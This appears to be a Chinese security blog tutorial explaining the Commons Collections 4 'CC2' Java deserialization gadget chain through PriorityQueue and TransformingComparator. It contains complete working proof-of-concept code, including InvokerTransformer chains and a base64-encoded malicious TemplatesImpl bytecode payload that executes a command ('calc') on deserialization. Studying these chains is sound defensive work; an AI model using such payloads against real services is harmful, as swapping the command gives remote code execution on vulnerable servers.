本文最后更新于:2023年9月1日 上午
[TOC]
【java安全】CommonsCollections2 前言 Apache Commons Collections
是一个重要的辅助开发库。包含了⼀些Java中没有的数据结构和和辅助方法,不过随着Java 9以后的版本中原⽣库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。
在2015年cc链被提出时,Apache Commons Collections
有两个分支:
commons-collections:commons-collections(当时版本3.2.1)
org.apache.commons:commons-collections4(当时版本4.0)
官方认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产生⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个用来替换commons-collections的新版 本,而是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项目中。 那么很自然有个问题,既然3.2.1中存在反序列化利用链,那么4.0版本是否存在呢?
Commons-Collections4版本中能否调用cc6等链子? 我们在maven中导入这两个分支版本的jar包
我们复制原来的cc6 poc进来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class cc6 { public static void main (String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer []{}; Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{ Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class }, new String []{"calc.exe" }) }; Transformer chainedTransformer = new ChainedTransformer (fakeTransformers); Map uselessMap = new HashMap (); Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (outerMap, "leekos" ); Map hashMap = new HashMap (); hashMap.put(tiedMapEntry, "value" ); outerMap.clear(); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(chainedTransformer, transformers); ByteArrayOutputStream bos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (bos); oos.writeObject(hashMap); oos.close(); ByteArrayInputStream bis = new ByteArrayInputStream (bos.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bis); ois.readObject(); ois.close(); } }
由于这里我们用到的是Commons-Collections4
4.0版本,所以我们需要将import
导入的类org.apache.commons.collections
换为:org.apache.commons.collections4
结果发现LazyMap#decorate()
方法爆红了,在Commons-Collections4
中没有该方法
我们看一下原来decorate()
方法的逻辑:
1 2 3 public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); }
就是调用LazyMap
的构造方法而已
我们在Commons-Collections4
中发现了lazyMap()
方法可以用来代替
1 2 3 public static <K, V> LazyMap<K, V> lazyMap (Map<K, V> map, Factory<? extends V> factory) { return new LazyMap (map, factory); }
替换一下就好了
成功弹出计算器,说明可以在Commons-Collections4
中执行cc1、cc6等链子
PriorityQueue利用链 除了前面学习的几条利用链,ysoserial还提出了2条新的链子:
CommonsCollections2
CommonsCollections4
我们这里学习一下CommonsCollections2
首先了解一下java.util.PriorityQueue
:
PriorityQueue 这个类中存在readObject()
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
反序列化时会调用heapify()
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
heapify()
方法会调用siftDown()
方法,继而调用siftDownUsingComparator()
,然后调用comparator.compare()
方法,这个comparator
变量是可控的,我们看一下PriorityQueue
的构造方法:
1 2 3 4 5 6 7 8 9 public PriorityQueue (int initialCapacity, Comparator<? super E> comparator) { if (initialCapacity < 1 ) throw new IllegalArgumentException (); this .queue = new Object [initialCapacity]; this .comparator = comparator; }
comparator
是一个Comparator
类型的对象,我们可以找到一个org.apache.commons.collections4.comparators.TransformingComparator
类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class TransformingComparator implements Comparator { protected Comparator decorated; protected Transformer transformer; public TransformingComparator (Transformer transformer) { this (transformer, new ComparableComparator ()); } public TransformingComparator (Transformer transformer, Comparator decorated) { this .decorated = decorated; this .transformer = transformer; } public int compare (Object obj1, Object obj2) { Object value1 = this .transformer.transform(obj1); Object value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); } }
这个TransformingComparator
类的compare()
方法可以调用transform
方法
于是我们就可以构造一条从PriorityQueue
到TransformingComparator
调用其compare()
方法,再调用transform()
方法导致反序列化的链子了
使用了phithon的总结:
java.util.PriorityQueue是⼀个优先队列(Queue),基于⼆叉堆实现,队列中每⼀个元素有自己的优先级,节点之间按照优先级大小排序成⼀棵树
反序列化时为什么需要调⽤heapify()⽅法?为了反序列化后,需要恢复(换⾔之,保证)这个 结构的顺序
排序是靠将⼤的元素下移实现的。siftDown()是将节点下移的函数,⽽comparator.compare()⽤来⽐较两个元素⼤⼩
TransformingComparator实现了java.util.Comparator接⼝,这个接⼝⽤于定义两个对象如 何进⾏⽐较。siftDownUsingComparator()中就使⽤这个接⼝的compare()⽅法⽐较树的节点。
关于PriorityQueue这个数据结构的具体原理,可以参考这篇⽂章:https://www.cnblogs.com/linghu-java/p/9467805.html
POC 首先创建Transformer
:
1 2 3 4 5 6 7 8 9 10 Transformer[] fakeTransformers = new Transformer [] { new ConstantTransformer (1 )}; Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] { "calc.exe" }), };Transformer transformerChain = new ChainedTransformer (fakeTransformers);
再创建一个TransformingComparator
1 Comparator comparator = new TransformingComparator (transformerChain);
然后我们需要实例化PriorityQueue
1 2 3 4 5 6 7 8 9 public PriorityQueue (int initialCapacity, Comparator<? super E> comparator) { if (initialCapacity < 1 ) throw new IllegalArgumentException (); this .queue = new Object [initialCapacity]; this .comparator = comparator; }
第一个参数是初始化的大小,至少要两个才能触发排序
和比较
,所以填入2,第二个参数是Comparator
传入之前创建的comparator
1 2 3 PriorityQueue queue = new PriorityQueue (2 , comparator); queue.add(1 ); queue.add(2 );
后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参 数的。
最后,将真正的恶意Transformer设置上:
1 setFieldValue(transformerChain, "iTransformers" , transformers);
完整POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;public class Test { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer []{ new ConstantTransformer (1 ) }; Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc.exe" }),}; Transformer transformerChain = new ChainedTransformer (fakeTransformers); Comparator comparator = new TransformingComparator (transformerChain); PriorityQueue queue = new PriorityQueue (2 , comparator); queue.add(1 ); queue.add(2 ); setFieldValue(transformerChain, "iTransformers" , transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object) ois.readObject(); } }
进阶POC 前面我们学习了TemplatesImpl
不使用Transformer
数组的形式构造,下面我们构造一个POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.Comparator;import java.util.PriorityQueue;public class CommonsCollections2 { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { String s = "yv66vgAAADQAMwoABwAlCgAmACcIACgKACYAKQcAKgcAKwcALAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAKTEV4ZWNUZXN0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAA1TdGFja01hcFRhYmxlBwArBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA1FeGVjVGVzdC5qYXZhDAAaABsHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAhFeGVjVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAAEAAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAMAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAARAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAFgAXAAIAAAABABgAGQADABMAAAAEAAEAFAABABoAGwABAAoAAABqAAIAAgAAABIqtwABuAACEgO2AARXpwAETLEAAQAEAA0AEAAFAAMACwAAABYABQAAABIABAAUAA0AFwAQABUAEQAYAAwAAAAMAAEAAAASAA0ADgAAABwAAAAQAAL/ABAAAQcAHQABBwAeAAAJAB8AIAABAAoAAAArAAAAAQAAAAGxAAAAAgALAAAABgABAAAAHAAMAAAADAABAAAAAQAhACIAAAABACMAAAACACQ=" ; byte [] bytes= Base64.getDecoder().decode(s); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{bytes}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer transformer = new InvokerTransformer ("toString" , null , null ); Comparator comparator = new TransformingComparator (transformer); PriorityQueue queue = new PriorityQueue (2 , comparator); queue.add(obj); queue.add(obj); setFieldValue(transformer, "iMethodName" , "newTransformer" ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
POC分析 我们从简单分析一下这条链子:
首先创建一个TemplatesImpl
对象obj
,
使用反射的方式设置_bytecodes
,内容是恶意的字节码数组,
设置_name
代表字节码反序列化文件的名字为HelloTemplatesImpl
_tfactory
设置为TransformerFactoryImpl
对象,防止为null
返回导致不成功
然后创建一个InvokerTransformer
对象,调用方法本来需要调用newTransformer()
方法,但是先传入toString()
,防止干扰
然后需要找一个类去调用InvokerTransformer#transform()
方法,我们可以找到TransformingComparator
类,TransformingComparator#compare()
方法可以调用transform()
方法,并且可以控制形参
如何调用TransformingComparator#compare()
方法,可以追溯到PriorityQueue#readObjct()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
这个方法很重要,会根据PriorityQueue
传入形参的大小形成相应大小的队列
从readObject()
方法可以形成一个调用链(queue的值很关键)
我们首先需要创建一个PriorityQueue
对象
1 2 PriorityQueue queue = new PriorityQueue (2 , comparator);
然后需要往队列里面添加两个值,这一次添加的值很重要,不能随便添加(Comparator#compare()
方法调用transform()
方法需要传入TemplatesImpl
对象)
1 2 queue.add(obj); queue.add(obj);
我们分析一下PriorityQueue#add()
方法的执行过程:
到这里我们就可以理解为什么之前要将InvokerTransform
中方法换为toString()
了,威为的是防止提前触发compare()
方法
在add()
之后,我们将InvokerTransformer
的iMethodName
从toString
改为newTransformer
就大功告成了
调用链 1 2 3 4 5 6 7 PriorityQueue#readObject() heapify() siftDown() siftDownUsingComparator() Comparator#compare() InvokerTransformer#transform() ...